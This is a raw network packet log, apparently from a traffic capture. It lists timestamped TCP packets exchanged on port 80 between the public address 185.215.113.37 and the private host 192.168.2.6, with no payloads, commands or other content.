Oct 20, 2024 21:16:14.465542078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.465559959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.465596914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.465616941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.466651917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.466660976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.466722965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.467724085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.467740059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.467784882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.467811108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.468811989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.468828917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.468842983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.468879938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.468897104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.470031977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.470056057 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.470072031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.470088959 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.470123053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.470979929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.470997095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.471036911 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.471055984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.472043991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.472062111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.472075939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.472094059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.472109079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.472136021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.472903013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.472919941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.472975016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.650424957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.650501013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.650697947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.650715113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.650747061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.650768995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.651653051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.651668072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.651705980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.651729107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.652709961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.652725935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.652762890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.652781963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.653774023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.653790951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.653805017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.653841972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.653841972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.653861046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.654871941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.654889107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.654941082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.654963970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.655903101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.655920029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.655932903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.655955076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.655982971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.656990051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.657006025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.657049894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.657831907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.657846928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.657893896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.658694029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.658710957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.658751965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.658766031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.659563065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.659579039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.659593105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.659616947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.659645081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.659662008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.660398960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.660423994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.660460949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.660474062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.661245108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.661261082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.661297083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.661309958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.662084103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.662100077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.662112951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.662137985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.662161112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.662960052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.662976027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.663044930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.663800001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.663815975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.663853884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.663886070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.664717913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.664733887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.664772987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.664791107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.665523052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.665539026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.665550947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.665580034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.665601015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.666609049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.666625977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.666640997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.666667938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.666693926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.667654991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.667670965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.667718887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.668687105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.668700933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.668740988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.668770075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.837009907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.837207079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.837209940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.837229967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.837274075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.837316990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.838005066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.838021994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.838087082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.838933945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.838953972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.839021921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.839888096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.839910984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.839996099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.840737104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.840759039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.840776920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.840850115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.841659069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.841679096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.841721058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.841753006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.842618942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.842639923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.842658043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.842681885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.842714071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.843499899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.843522072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.843556881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.843590975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.844394922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.844418049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.844451904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.844472885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.845130920 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.845148087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.845160007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.845196962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.845218897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.845871925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.845890045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.845925093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.845951080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.846582890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.846601009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.846616983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.846638918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.846659899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.847312927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.847328901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.847343922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.847368956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.847429037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.848045111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.848061085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.848074913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.848099947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.848128080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.848783016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.848799944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.848836899 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.848867893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.849520922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.849538088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.849572897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.849589109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.850250006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.850265980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.850279093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.850302935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.850330114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.850969076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.850986004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.851016998 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.851052999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.851697922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.851713896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.851727962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.851756096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.851769924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.852385998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.852402925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.852416039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.852432013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.852437019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.852468967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.852497101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.853411913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.853427887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.853441954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.853466034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.853488922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.854406118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.854422092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.854435921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.854487896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.855377913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.855402946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.855417013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.855432987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.855433941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.855467081 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.855494976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.856362104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.856378078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.856390953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.856417894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.856446028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.857347012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.857363939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.857403040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.857450962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.857997894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.858015060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.858028889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.858047009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.858050108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.858074903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.858105898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.858989000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.859004974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.859020948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.859041929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.859066963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.859926939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.859942913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.859956026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.859987020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.860049009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.860851049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.860867023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.860878944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.860893011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.860905886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.860914946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.860928059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.860948086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.860970974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.861701012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.861717939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.861732960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.861808062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.862550974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.862566948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.862581015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.862623930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.862656116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.863349915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.863368034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.863382101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.863403082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.863465071 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.992322922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.992460012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.992465973 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.992484093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.992512941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.992542028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:14.992826939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:14.992880106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.024043083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.024126053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.024178028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.024198055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.024229050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.024257898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.024739027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.024760008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.024786949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.024801016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.024825096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.024844885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.025682926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.025706053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.025724888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.025743961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.025747061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.025775909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.025775909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.025798082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.026593924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.026613951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.026634932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.026654005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.026681900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.026681900 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.027520895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.027542114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.027560949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.027580023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.027580976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.027600050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.027601957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.027627945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.027627945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.027679920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.028460026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.028476000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.028491020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.028521061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.028551102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.029386997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.029417038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.029434919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.029447079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.029453993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.029472113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.029494047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.029517889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.030314922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.030332088 CEST	80	49711	185.215.113.37	192.168.2.6
